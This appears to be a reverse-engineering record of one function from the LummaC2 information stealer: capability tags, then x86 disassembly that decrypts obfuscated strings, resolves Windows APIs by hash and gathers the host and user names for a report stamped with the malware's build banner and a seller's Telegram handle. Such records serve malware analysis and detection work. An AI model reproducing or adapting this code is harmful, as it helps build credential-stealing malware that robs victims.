Function at 0x44b030
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov esi, esp
mov edi, dword [ebp + 8]
mov eax, dword [0x476618]
test eax, eax
jne 0x44c199
movzx eax, byte [0x475a5e]
mov ecx, eax
add cl, al
and cl, 0x14
sub al, cl
add al, 0xa
mov byte [0x475a68], al
movzx eax, byte [0x475a5f]
mov ecx, eax
not cl
add cl, cl
add cl, al
inc cl
mov edx, ecx
or dl, 0xb8
sub dl, cl
add dl, 0x47
mov ecx, eax
or cl, 0x47
sub cl, al
add cl, 0xb8
and cl, dl
not cl
mov byte [0x475a69], cl
movzx eax, byte [0x475a60]
xor al, 0x4c
mov byte [0x475a6a], al
movzx eax, byte [0x475a61]
xor al, 0xf4
mov byte [0x475a6b], al
movzx eax, byte [0x475a62]
mov ecx, eax
add cl, al
and cl, 0xe4
sub al, cl
add al, 0xf2
mov byte [0x475a6c], al
movzx eax, byte [0x475a63]
mov ecx, eax
add cl, al
and cl, 0x2a
sub al, cl
add al, 0x95
mov byte [0x475a6d], al
movzx eax, byte [0x475a64]
xor al, 0x77
mov byte [0x475a6e], al
mov ch, byte [0x475a65]
mov dh, ch
and dh, 0xa4
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0xa6
mov byte [0x475a6f], al
mov ch, byte [0x475a70]
mov dl, ch
and dl, 0xa7
mov dh, ch
and dh, 0xa5
mov bl, ch
and bl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov eax, edx
or al, 2
add dl, dl
xor ch, 0xa7
add ch, dl
mul bl
mov dl, al
mov eax, ecx
mul dh
sub al, dl
add al, ch
mov byte [0x475a74], al
movzx eax, byte [0x475a71]
xor al, 0x1e
mov byte [0x475a75], al
movzx eax, byte [0x475a72]
mov ecx, eax
and cl, 0xa
mov edx, ecx
not dl
add dl, al
add dl, 0xb
mov eax, edx
add al, dl
not al
add al, dl
or al, cl
mov byte [str.default], al
mov ch, byte [0x475a73]
mov dh, ch
and dh, 0x64
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x66
mov byte [0x475a77], al
movzx eax, byte [0x475a20]
mov ecx, eax
add cl, al
not cl
add cl, al
mov edx, ecx
xor dl, 0xe
or cl, 0xf1
and cl, dl
and al, 0xe
or al, cl
mov byte [0x475a40], al
movzx eax, byte [0x475a21]
xor al, 0x4b
mov byte [0x475a41], al
movzx eax, byte [0x475a22]
xor al, 0x2e
mov byte [0x475a42], al
movzx eax, byte [0x475a23]
xor al, 0xd1
mov byte [0x475a43], al
mov ch, byte [0x475a24]
mov dh, ch
and dh, 0x55
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, 0xfe
sub al, dh
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0x57
mov byte [0x475a44], al
movzx eax, byte [0x475a25]
xor al, 0xc5
mov byte [0x475a45], al
movzx eax, byte [0x475a26]
mov byte [0x475a46], al
movzx eax, byte [0x475a27]
xor al, 0x5a
mov byte [0x475a47], al
movzx eax, byte [0x475a28]
mov ecx, eax
add cl, al
and cl, 0x34
sub al, cl
add al, 0x9a
mov byte [0x475a48], al
movzx eax, byte [0x475a29]
mov ecx, eax
add cl, al
and cl, 0x3a
sub al, cl
add al, 0x1d
mov byte [0x475a49], al
movzx eax, byte [0x475a2a]
xor al, 0x98
mov byte [0x475a4a], al
movzx eax, byte [0x475a2b]
xor al, 0xc0
mov byte [0x475a4b], al
movzx eax, byte [0x475a2c]
mov ecx, eax
not cl
mov edx, ecx
and dl, 0x21
or cl, 0xde
add cl, al
inc cl
or cl, dl
xor cl, 0xc0
mov byte [0x475a4c], cl
mov ch, byte [0x475a2d]
mov cl, ch
and cl, 0x48
mov dh, ch
and dh, 2
mov al, dh
xor al, 2
mul cl
mov dl, al
or cl, 2
mov eax, ecx
mul dh
add al, dl
mov cl, al
and cl, 0xb4
and al, 0x48
xor al, 0x4a
add al, ch
sub al, cl
mov byte [0x475a4d], al
movzx eax, byte [0x475a2e]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0xab
and al, 0x54
or al, cl
mov byte [0x475a4e], al
movzx eax, byte [0x475a2f]
xor al, 0x39
mov byte [0x475a4f], al
movzx eax, byte [0x475a30]
xor al, 0xc6
mov byte [0x475a50], al
movzx eax, byte [0x475a31]
xor al, 0x87
mov byte [0x475a51], al
movzx eax, byte [0x475a32]
mov ecx, eax
not cl
or al, 0x89
or cl, 0x76
and cl, al
not cl
mov byte [0x475a52], cl
movzx eax, byte [0x475a33]
mov ecx, eax
and cl, 0x6d
mov edx, ecx
add dl, cl
not dl
add dl, cl
mov ecx, eax
or cl, dl
not cl
and dl, 0x3d
mov ah, al
and ah, 0x40
or ah, dl
or al, 0x2d
and al, 0xbf
xor al, ah
xor al, 0x82
and cl, 0x92
or cl, al
mov byte [0x475a53], cl
movzx eax, byte [0x475a34]
mov ecx, eax
add cl, al
and cl, 0xf0
sub al, cl
add al, 0xf8
mov byte [0x475a54], al
movzx eax, byte [0x475a35]
xor al, 0x1c
mov byte [0x475a55], al
movzx eax, byte [0x475a36]
mov ecx, eax
and cl, 0x5a
or al, 0x5a
mov edx, eax
add dl, al
not dl
add dl, al
or dl, cl
not dl
mov byte [0x475a56], dl
movzx eax, byte [0x475a37]
mov ecx, eax
not cl
or al, 0x3a
or cl, 0xc5
and cl, al
not cl
mov byte [0x475a57], cl
movzx eax, byte [0x475a38]
xor al, 0xbd
mov byte [0x475a58], al
movzx eax, byte [str.__e_a]
xor al, 0x29
mov byte [0x475a59], al
movzx eax, byte [0x475a3a]
mov ecx, eax
add cl, al
and cl, 0x8a
sub al, cl
add al, 0x45
mov byte [0x475a5a], al
movzx eax, byte [0x475a3b]
mov ecx, eax
add cl, al
and cl, 0x42
sub al, cl
add al, 0x21
mov byte [0x475a5b], al
movzx eax, byte [0x475a3c]
xor al, 0x27
mov byte [0x475a5c], al
movzx eax, byte [0x475a3d]
xor al, 0xc6
mov byte [0x475a5d], al
mov eax, 0xc7ae
xor eax, dword [0x4759e0]
mov word [0x475a00], ax
movzx eax, word [0x4759e2]
xor eax, 0x54a9
mov word [0x475a02], ax
mov eax, dword [0x4759e4]
lea ecx, [eax + eax]
and ecx, 0xffffcfb2
neg ecx
add eax, ecx
add eax, 0x67d9
mov word [0x475a04], ax
movzx eax, word [0x4759e6]
xor eax, 0x1df8
mov word [0x475a06], ax
mov eax, dword [0x4759e8]
lea ecx, [eax + eax]
and ecx, 0x5ea8
neg ecx
add eax, ecx
add eax, 0xffffaf54
mov word [0x475a08], ax
movzx eax, word [0x4759ea]
xor eax, 0x8725
mov word [0x475a0a], ax
mov eax, 0x6325
xor eax, dword [0x4759ec]
mov word [0x475a0c], ax
movzx eax, word [0x4759ee]
xor eax, 0x926e
mov word [0x475a0e], ax
mov eax, 0x51e7
xor eax, dword [0x4759f0]
mov word [0x475a10], ax
movzx eax, word [0x4759f2]
lea ecx, [eax + eax]
not ecx
add ecx, eax
and ecx, 0xffff9f89
and eax, 0x6076
or eax, ecx
xor eax, 0x11b7
mov word [0x475a12], ax
mov ecx, dword [0x4759f4]
mov eax, ecx
not eax
or ecx, 0x431c
or eax, 0xffffbce3
and eax, ecx
not eax
mov word [0x475a14], ax
movzx eax, byte [0x4758a2]
xor al, 0x68
mov byte [0x4758b1], al
mov ch, byte [0x4758a3]
mov al, ch
not al
or al, 0x48
add al, ch
inc al
mov edx, eax
and dl, 2
mov cl, al
or cl, 0xfd
inc cl
mov dh, al
and dh, 0xfd
or al, 2
mul dl
mov dl, al
mov eax, ecx
mul dh
sub al, dl
add al, ch
add al, 0x48
mov byte [0x4758b2], al
movzx eax, byte [0x4758a4]
xor al, 0x86
mov byte [0x4758b3], al
movzx eax, byte [0x4758a5]
xor al, 0xc9
mov byte [0x4758b4], al
movzx eax, byte [0x4758a6]
xor al, 0x32
mov byte [0x4758b5], al
movzx eax, byte [0x4758a7]
xor al, 0x49
mov byte [0x4758b6], al
movzx eax, byte [0x4758a8]
xor al, 0x78
mov byte [0x4758b7], al
movzx eax, byte [0x4758a9]
xor al, 0x94
mov byte [0x4758b8], al
movzx eax, byte [0x4758aa]
mov ecx, eax
add cl, al
and cl, 0xd2
sub al, cl
add al, 0xe9
mov byte [0x4758b9], al
movzx eax, byte [0x4758ab]
xor al, 0xa8
mov byte [0x4758ba], al
movzx eax, byte [0x4758ac]
xor al, 0x97
mov byte [0x4758bb], al
movzx eax, byte [0x4758ad]
xor al, 0xfb
mov byte [0x4758bc], al
movzx eax, byte [0x4758ae]
xor al, 0xaf
mov byte [0x4758bd], al
movzx eax, byte [0x4758af]
mov ecx, eax
add cl, al
and cl, 0xc
sub al, cl
add al, 0x86
mov byte [0x4758be], al
movzx eax, byte [0x4758b0]
xor al, 0xb5
mov byte [0x4758bf], al
movzx eax, byte [str._W4]
xor al, 0x72
mov byte [0x4758e0], al
movzx eax, byte [0x4758c1]
mov ecx, eax
not cl
mov edx, ecx
add dl, cl
not dl
add dl, cl
and dl, 0xf4
or al, 0xf4
xor al, dl
mov byte [0x4758e1], al
movzx eax, byte [0x4758c2]
xor al, 0xdb
mov byte [0x4758e2], al
movzx eax, byte [0x4758c3]
xor al, 0x34
mov byte [0x4758e3], al
movzx eax, byte [0x4758c4]
xor al, 0x46
mov byte [0x4758e4], al
movzx eax, byte [0x4758c5]
mov ecx, eax
add cl, al
not cl
add cl, al
not al
and cl, al
mov edx, ecx
and dl, 0x67
sub dl, cl
add dl, 0x98
and al, 0x67
or al, dl
not al
mov byte [0x4758e5], al
movzx eax, byte [0x4758c6]
mov ecx, eax
add cl, al
and cl, 0x58
sub al, cl
add al, 0xac
mov byte [0x4758e6], al
movzx eax, byte [0x4758c7]
xor al, 0x6e
mov byte [0x4758e7], al
movzx eax, byte [0x4758c8]
xor al, 0xf6
mov byte [0x4758e8], al
movzx eax, byte [0x4758c9]
xor al, 0x31
mov byte [0x4758e9], al
movzx eax, byte [0x4758ca]
mov ecx, eax
add cl, al
and cl, 0x44
sub al, cl
add al, 0x22
mov byte [0x4758ea], al
movzx eax, byte [0x4758cb]
xor al, 0x6b
mov byte [0x4758eb], al
movzx eax, byte [0x4758cc]
not al
mov ecx, eax
and cl, 0x5b
or al, 0x5b
mov edx, eax
add dl, al
not dl
add dl, al
or dl, cl
mov byte [0x4758ec], dl
movzx eax, byte [0x4758cd]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 8
mov byte [0x4758ed], al
movzx eax, byte [0x4758ce]
xor al, 0x87
mov byte [0x4758ee], al
movzx eax, byte [0x4758cf]
xor al, 0x37
mov byte [0x4758ef], al
movzx eax, byte [0x4758d0]
mov ecx, eax
add cl, al
and cl, 0xc4
sub al, cl
add al, 0xe2
mov byte [0x4758f0], al
movzx eax, byte [0x4758d1]
xor al, 0xf4
mov byte [0x4758f1], al
movzx eax, byte [0x4758d2]
xor al, 0x6f
mov byte [0x4758f2], al
movzx eax, byte [0x4758d3]
xor al, 0x7a
mov byte [0x4758f3], al
movzx eax, byte [0x4758d4]
xor al, 0xd5
mov byte [0x4758f4], al
movzx eax, byte [0x475966]
xor al, 0x8d
mov byte [0x47596f], al
movzx eax, byte [0x475967]
mov ecx, eax
and cl, 0x49
or cl, 0x26
and al, 0xb6
xor al, cl
xor al, 0x6f
mov byte [0x475970], al
movzx eax, byte [0x475968]
xor al, 0xf1
mov ecx, eax
add cl, al
and cl, 0x38
sub al, cl
add al, 0x1c
mov byte [0x475971], al
movzx eax, byte [0x475969]
mov ecx, eax
add cl, al
and cl, 0xaa
sub al, cl
add al, 0xd5
mov byte [0x475972], al
movzx eax, byte [0x47596a]
mov ecx, eax
add cl, al
and cl, 0xd6
sub al, cl
add al, 0xeb
mov byte [0x475973], al
movzx eax, byte [0x47596b]
mov ecx, eax
xor cl, 0x9a
add cl, al
not al
mov edx, eax
and dl, 0x9a
and al, 0x65
add cl, al
inc cl
or cl, dl
mov byte [0x475974], cl
movzx eax, byte [str.S6b_]
xor al, 0x69
mov byte [0x475975], al
movzx eax, byte [0x47596d]
xor al, 0x16
mov byte [0x475976], al
mov ch, byte [0x47596e]
mov cl, ch
not cl
or cl, 0x62
add cl, ch
inc cl
mov dh, cl
and dh, 2
mov al, dh
xor al, 2
mov dl, cl
and dl, 0xfd
mul dl
mov dl, al
or cl, 2
mov eax, ecx
mul dh
add al, dl
mov cl, 0x9d
sub cl, ch
add ch, 0x62
and cl, al
not al
and al, ch
sub al, cl
mov byte [0x475977], al
movzx eax, byte [0x47594a]
xor al, 0xc1
mov byte [0x475958], al
movzx eax, byte [0x47594b]
xor al, 0x87
mov byte [0x475959], al
movzx eax, byte [0x47594c]
xor al, 0xc8
mov byte [0x47595a], al
movzx eax, byte [0x47594d]
xor al, 0xe6
mov byte [str.ns_r], al
movzx eax, byte [0x47594e]
xor al, 0x46
mov byte [0x47595c], al
movzx eax, byte [0x47594f]
xor al, 0x77
mov byte [0x47595d], al
movzx eax, byte [0x475950]
xor al, 0x84
mov byte [0x47595e], al
movzx eax, byte [0x475951]
xor al, 0xae
mov byte [0x47595f], al
movzx eax, byte [0x475952]
mov ecx, eax
add cl, al
and cl, 0x64
sub al, cl
add al, 0x32
mov byte [0x475960], al
movzx eax, byte [0x475953]
xor al, 0xd0
mov byte [0x475961], al
movzx eax, byte [0x475954]
xor al, 0x2e
mov byte [0x475962], al
movzx eax, byte [0x475955]
mov ecx, eax
add cl, al
and cl, 0x16
sub al, cl
add al, 0x8b
mov byte [0x475963], al
movzx eax, byte [0x475956]
mov ecx, eax
add cl, al
and cl, 0x90
sub al, cl
add al, 0xc8
mov byte [0x475964], al
movzx eax, byte [0x475957]
xor al, 0x4a
mov byte [0x475965], al
movzx eax, byte [0x47585c]
xor al, 0xe6
mov byte [0x475869], al
movzx eax, byte [0x47585d]
xor al, 0xec
mov byte [0x47586a], al
movzx eax, byte [0x47585e]
mov ecx, eax
add cl, al
and cl, 0x36
sub al, cl
add al, 0x1b
mov byte [0x47586b], al
movzx eax, byte [0x47585f]
mov ecx, eax
not cl
mov edx, ecx
and dl, 0xed
or cl, 0x12
add cl, al
inc cl
or cl, dl
xor cl, 0xc4
mov byte [0x47586c], cl
movzx eax, byte [0x475860]
xor al, 0x3b
mov byte [0x47586d], al
movzx eax, byte [0x475861]
mov ecx, eax
add cl, al
and cl, 0xb4
sub al, cl
add al, 0xda
mov byte [0x47586e], al
movzx eax, byte [0x475862]
xor al, 0x7c
mov byte [0x47586f], al
movzx eax, byte [0x475863]
xor al, 0x8c
mov byte [0x475870], al
movzx eax, byte [0x475864]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 0x88
mov byte [0x475871], al
movzx eax, byte [0x475865]
mov ecx, eax
add cl, al
and cl, 0x34
sub al, cl
add al, 0x1a
mov byte [0x475872], al
movzx eax, byte [0x475866]
mov ecx, eax
not cl
mov edx, eax
add dl, al
not dl
add dl, al
or dl, cl
and al, 0x88
and dl, 0x77
or dl, al
mov byte [0x475873], dl
movzx eax, byte [0x475867]
xor al, 0x45
mov byte [0x475874], al
movzx eax, byte [0x475868]
mov ecx, eax
not cl
mov edx, eax
add dl, al
not dl
add dl, al
or dl, cl
and dl, 0xc9
and al, 0x36
or al, dl
mov byte [0x475875], al
movzx eax, byte [0x475900]
xor al, 0xb2
mov byte [0x475920], al
movzx eax, byte [0x475901]
xor al, 0x75
mov byte [0x475921], al
movzx eax, byte [0x475902]
mov ecx, eax
not cl
mov edx, eax
add dl, al
not dl
add dl, al
or dl, cl
and dl, 0x6c
and al, 0x93
or al, dl
mov byte [0x475922], al
movzx eax, byte [0x475903]
xor al, 0x9c
mov byte [0x475923], al
movzx eax, byte [0x475904]
mov ecx, eax
add cl, al
and cl, 0xb6
sub al, cl
add al, 0xdb
mov byte [0x475924], al
movzx eax, byte [0x475905]
xor al, 0xc6
mov byte [0x475925], al
movzx eax, byte [str.wk9gM_]
xor al, 2
mov byte [0x475926], al
movzx eax, byte [0x475907]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x1f
mov byte [0x475927], al
movzx eax, byte [0x475908]
xor al, 0x5c
mov byte [0x475928], al
movzx eax, byte [0x475909]
mov ecx, eax
add cl, al
and cl, 0x2a
sub al, cl
add al, 0x15
mov byte [0x475929], al
movzx ecx, byte [0x47590a]
mov eax, ecx
and al, 1
mov edx, ecx
add dl, cl
mov ch, cl
and ch, 2
or al, 2
mul ch
xor ch, 2
and ch, dl
add al, ch
mov edx, eax
or dl, 0xfd
and al, 0xc
add al, dl
mov edx, ecx
not dl
and dl, al
not al
and al, cl
sub al, dl
mov byte [0x47592a], al
movzx eax, byte [0x47590b]
xor al, 0x3a
mov byte [0x47592b], al
movzx eax, byte [0x47590c]
xor al, 0x42
mov ecx, eax
add cl, al
not cl
add cl, al
mov byte [0x47592c], cl
movzx eax, byte [0x47590d]
xor al, 0x94
mov byte [0x47592d], al
movzx eax, byte [0x47590e]
xor al, 0x3e
mov byte [0x47592e], al
movzx eax, byte [0x47590f]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0xc0
mov byte [0x47592f], cl
movzx eax, byte [0x475910]
mov ecx, eax
not cl
mov edx, ecx
add dl, cl
not dl
add dl, cl
and al, 0x92
and dl, 0x6d
or dl, al
xor dl, 0x6d
mov byte [0x475930], dl
movzx eax, byte [0x475911]
xor al, 0x75
mov byte [0x475931], al
movzx eax, byte [0x475912]
xor al, 8
mov byte [0x475932], al
movzx eax, byte [0x475913]
xor al, 0x16
mov byte [0x475933], al
movzx eax, byte [0x475914]
xor al, 0x92
mov byte [0x475934], al
movzx eax, byte [0x475915]
xor al, 0xbf
mov byte [0x475935], al
movzx eax, byte [0x475916]
mov ecx, eax
not cl
or cl, 0x7b
or al, 0x84
and al, cl
mov byte [0x475936], al
movzx eax, byte [0x475917]
xor al, 0xb3
mov byte [0x475937], al
movzx eax, byte [0x475918]
xor al, 0x2a
mov byte [0x475938], al
movzx eax, byte [0x475919]
xor al, 0x4b
mov byte [0x475939], al
movzx eax, byte [0x47591a]
mov ecx, eax
add cl, al
and cl, 0x6e
sub al, cl
add al, 0x37
mov byte [0x47593a], al
movzx eax, byte [0x47591b]
xor al, 0x8f
mov byte [0x47593b], al
movzx eax, byte [0x47593c]
xor al, 0x82
mov byte [0x475943], al
movzx edx, byte [0x47593d]
mov eax, edx
not al
mov ah, al
add ah, al
add ah, dl
mov cl, 0x3e
sub cl, ah
not cl
or al, 0xc0
add al, dl
mov edx, eax
add dl, al
not al
add al, dl
and cl, 0x3f
add al, 2
or al, cl
mov byte [0x475944], al
movzx eax, byte [0x47593e]
xor al, 0xec
mov byte [0x475945], al
movzx eax, byte [0x47593f]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0xda
and al, 0x25
or al, cl
xor al, 0xcf
mov byte [str.v_kL], al
movzx eax, byte [0x475940]
xor al, 0x5d
mov byte [0x475947], al
movzx eax, byte [0x475941]
mov ecx, eax
add cl, al
and cl, 0xd4
sub al, cl
add al, 0x6a
mov byte [0x475948], al
movzx eax, byte [0x475942]
xor al, 0xc9
mov byte [0x475949], al
movzx eax, byte [0x475980]
mov ecx, eax
add cl, al
and cl, 0xea
sub al, cl
add al, 0x75
mov byte [0x4759a0], al
mov ch, byte [0x475981]
mov dh, ch
and dh, 0xac
mov dl, ch
and dl, 2
mov cl, ch
or cl, 0xfd
inc cl
mov al, dh
xor al, 0xfe
mul dl
mov dl, al
mov eax, ecx
mul dh
add al, dl
add al, ch
add al, 0xae
mov byte [0x4759a1], al
movzx eax, byte [0x475982]
mov ecx, eax
add cl, al
not cl
add cl, al
and al, 0xe1
and cl, 0x1e
or cl, al
not cl
mov byte [0x4759a2], cl
movzx eax, byte [0x475983]
xor al, 0x30
mov byte [0x4759a3], al
movzx eax, byte [0x475984]
xor al, 0xb
mov byte [0x4759a4], al
movzx eax, byte [0x475985]
xor al, 0xe5
mov byte [0x4759a5], al
movzx eax, byte [0x475986]
xor al, 0x19
mov byte [0x4759a6], al
movzx eax, byte [0x475987]
xor al, 0x42
mov byte [0x4759a7], al
movzx eax, byte [0x475988]
xor al, 0x3a
mov byte [0x4759a8], al
movzx ecx, byte [0x475989]
mov eax, ecx
add al, cl
and al, 0xba
xor cl, 0xdd
add cl, al
mov edx, ecx
xor dl, al
not al
and al, cl
add al, al
sub al, dl
mov byte [0x4759a9], al
movzx eax, byte [0x47598a]
xor al, 0x54
mov byte [0x4759aa], al
movzx eax, byte [0x47598b]
mov ecx, eax
or cl, 0xb
and al, 0xb
mov edx, eax
add dl, al
not dl
add dl, al
and dl, cl
mov eax, edx
add al, dl
not al
add al, dl
mov byte [0x4759ab], al
movzx eax, byte [0x47598c]
mov ecx, eax
add cl, al
and cl, 0x2e
sub al, cl
add al, 0x17
mov byte [0x4759ac], al
movzx eax, byte [0x47598d]
xor al, 0x89
mov byte [0x4759ad], al
movzx eax, byte [0x47598e]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0x33
mov byte [0x4759ae], al
movzx eax, byte [0x47598f]
mov ecx, eax
add cl, al
and cl, 0xb4
sub al, cl
add al, 0xda
mov byte [0x4759af], al
movzx eax, byte [0x475990]
xor al, 0x60
mov byte [0x4759b0], al
movzx eax, byte [0x475991]
xor al, 0x90
mov byte [0x4759b1], al
movzx eax, byte [0x475992]
mov ecx, eax
add cl, al
and cl, 0xe6
sub al, cl
add al, 0x73
mov byte [0x4759b2], al
movzx eax, byte [0x475993]
xor al, 0xce
mov byte [0x4759b3], al
movzx eax, byte [0x475994]
xor al, 0xdf
mov byte [0x4759b4], al
movzx eax, byte [0x475995]
xor al, 0x44
mov byte [0x4759b5], al
movzx eax, byte [0x475996]
xor al, 0x4c
mov byte [0x4759b6], al
movzx eax, byte [0x475997]
mov ecx, eax
add cl, al
sub al, cl
add al, 0x7f
mov byte [0x4759b7], al
movzx eax, byte [0x475888]
xor al, 0xa5
mov byte [0x475895], al
movzx eax, byte [0x475889]
mov ecx, eax
add cl, al
not cl
add cl, al
or cl, 0xb5
or al, 0x4a
and al, cl
mov byte [0x475896], al
movzx eax, byte [0x47588a]
xor al, 0x9e
mov byte [0x475897], al
movzx eax, byte [0x47588b]
xor al, 0xd1
mov byte [0x475898], al
movzx eax, byte [0x47588c]
xor al, 0x56
mov byte [0x475899], al
movzx eax, byte [0x47588d]
mov ecx, eax
add cl, al
and cl, 0xe0
sub al, cl
add al, 0x70
mov byte [0x47589a], al
movzx eax, byte [0x47588e]
mov ecx, eax
add cl, al
and cl, 0xba
sub al, cl
add al, 0xdd
mov byte [0x47589b], al
movzx eax, byte [0x47588f]
xor al, 0xb1
mov byte [0x47589c], al
movzx eax, byte [0x475890]
xor al, 0x61
mov byte [0x47589d], al
movzx eax, byte [0x475891]
add al, 0x80
mov byte [0x47589e], al
movzx eax, byte [0x475892]
xor al, 0xda
mov byte [0x47589f], al
movzx eax, byte [0x475893]
xor al, 2
mov byte [0x4758a0], al
movzx eax, byte [0x475894]
xor al, 0x64
mov byte [0x4758a1], al
movzx eax, byte [0x4759b8]
xor al, 0xa6
mov byte [0x4759c1], al
movzx eax, byte [0x4759b9]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x83
mov edx, eax
xor dl, 0x83
or al, 0x7c
and al, dl
or al, cl
xor al, 0xa7
mov byte [str._TmR], al
movzx eax, byte [0x4759ba]
xor al, 0x60
mov byte [0x4759c3], al
movzx eax, byte [0x4759bb]
xor al, 0xb
mov byte [0x4759c4], al
movzx eax, byte [0x4759bc]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0xeb
and al, 0x14
or al, cl
xor al, 0xb1
mov byte [0x4759c5], al
movzx eax, byte [0x4759bd]
xor al, 0x7c
mov byte [0x4759c6], al
movzx eax, byte [0x4759be]
xor al, 0x94
mov byte [0x4759c7], al
movzx eax, byte [0x4759bf]
xor al, 0x22
mov byte [0x4759c8], al
movzx eax, byte [0x4759c0]
xor al, 0x5c
mov byte [0x4759c9], al
movzx eax, byte [0x4759ca]
xor al, 0x67
mov byte [0x4759d5], al
movzx eax, byte [0x4759cb]
xor al, 0x63
mov byte [0x4759d6], al
movzx eax, byte [0x4759cc]
mov ecx, eax
add cl, al
not cl
add cl, al
and cl, 0x68
and al, 0x97
or al, cl
xor al, 0xda
mov byte [0x4759d7], al
movzx eax, byte [0x4759cd]
xor al, 0xa2
mov byte [0x4759d8], al
movzx eax, byte [0x4759ce]
xor al, 0x78
mov byte [0x4759d9], al
movzx eax, byte [0x4759cf]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0xef
mov byte [str..nia], al
movzx eax, byte [0x4759d0]
mov ecx, eax
add cl, al
and cl, 0xd4
sub al, cl
add al, 0xea
mov byte [0x4759db], al
movzx eax, byte [0x4759d1]
xor al, 0xc0
mov byte [0x4759dc], al
movzx eax, byte [0x4759d2]
xor al, 0xea
mov byte [0x4759dd], al
movzx eax, byte [0x4759d3]
xor al, 0xda
mov byte [0x4759de], al
movzx eax, byte [0x4759d4]
mov ecx, eax
not cl
and cl, 0xac
mov edx, eax
xor dl, 0xac
or al, 0x53
and al, dl
add al, cl
mov byte [0x4759df], al
mov dword [0x476618], 1
push eax
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov dword [esi + 0x18], esp
push eax
mov dword [esi + 0x20], esp
sub esp, 8
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0xc
mov dword [esi + 0x28], esp
sub esp, 0x100
mov dword [esi + 0x30], esp
push eax
mov dword [esi + 4], esp
sub esp, 0xc
mov dword [esi + 0x2c], esp
sub esp, 0x100
mov dword [esi + 0x34], esp
sub esp, 0x10
mov dword [esi + 0x38], esp
sub esp, 0x100
mov dword [esi + 0x3c], esp
sub esp, 0x1c
mov dword [esi + 0x40], esp
sub esp, 0x100
mov dword [esi + 0x44], esp
sub esp, 0x18
mov dword [esi + 0x48], esp
sub esp, 0x10
mov dword [esi + 0x4c], esp
sub esp, 0x10
mov dword [esi + 0x58], esp
sub esp, 0xc
mov dword [esi + 8], esp
sub esp, 0x200
mov dword [esi + 0x5c], esp
sub esp, 0x18
mov dword [esi + 0x60], esp
sub esp, 0x10
mov dword [esi + 0x64], esp
sub esp, 0x10
mov dword [esi + 0x14], esp
sub esp, 0x10
mov dword [esi + 0x68], esp
sub esp, 0x1a8
mov dword [esi + 0x6c], esp
sub esp, 8
mov dword [esi + 0x70], esp
sub esp, 8
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x74], ecx
mov esp, ecx
push eax
sub esp, 0x1c
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 0x18
mov dword [esi + 0x80], esp
mov dword [eax], edi
push str.user32.dll
push 0x3d95e230
call fcn.0044ced0
add esp, 8
push 0
call eax
mov dword [esi + 0xc], eax
push str.user32.dll
push 0x3d95e230
call fcn.0044ced0
add esp, 8
push 1
call eax
mov dword [esi + 0x1c], eax
push 1
push 0x20
call fcn.004552e7
add esp, 8
mov ebx, eax
mov dword [esi + 0x50], eax
push 1
push 0x20
call fcn.004552e7
add esp, 8
mov edi, eax
mov dword [esi + 0x54], eax
push 0xa
push ebx
push dword [esi + 0xc]
call fcn.004547a4
add esp, 0xc
push 0xa
push edi
push dword [esi + 0x1c]
call fcn.004547a4
add esp, 0xc
push 1
push 0x4000
call fcn.004552e7
add esp, 8
mov edi, eax
mov eax, dword [esi + 0x18]
mov dword [eax], edi
push edi
call fcn.00455ce0
add esp, 4
add eax, edi
push 0x36
push str.LummaC2__Build_Nov_23_2023__Buy_now:_TG__lummanowork_n
push eax
call fcn.0044fd30
add esp, 0xc
push str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.00446370
add esp, 4
mov ebx, eax
push eax
push edi
call fcn.00455b00
add esp, 8
push ebx
call fcn.00455735
add esp, 4
push edi
call fcn.00455ce0
add esp, 4
add eax, edi
push 0x21
push str.LPnhqo___Josyy0
push eax
call fcn.0044fd30
add esp, 0xc
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa0a
mov byte [edi + eax + 2], 0
push 1
push 0x8000
call fcn.004552e7
add esp, 8
mov dword [esi + 0xc], eax
mov ebx, dword [esi + 0x20]
mov dword [ebx], 0x8000
push str.kernel32.dll
push 0xa2f80070
call fcn.0044ced0
add esp, 8
push ebx
mov ebx, dword [esi + 0xc]
push ebx
call eax
mov eax, dword [0x475943]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [str.v_kL]
mov dword [ecx + 3], eax
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
call fcn.00455b00
add esp, 8
push edi
call fcn.00455ce0
add esp, 4
mov word [edi + eax], 0xa
push 1
push 0x8000
call fcn.004552e7
add esp, 8
mov dword [esi + 0x10], eax
mov ebx, dword [esi + 0x24]
mov dword [ebx], 0x8000
push str.advapi32.dll
push 0x23fef64a
call fcn.0044ced0
add esp, 8
push ebx
mov ebx, dword [esi + 0x10]
push ebx
call eax
mov eax, dword [0x47596f]
mov ecx, dword [esi + 0x28]
mov dword [ecx], eax
mov eax, dword [0x475973]
mov dword [ecx + 4], eax
movzx eax, byte [0x475977]
mov byte [ecx + 8], al
push ecx
push edi
call fcn.00455b00
add esp, 8
push ebx
push edi
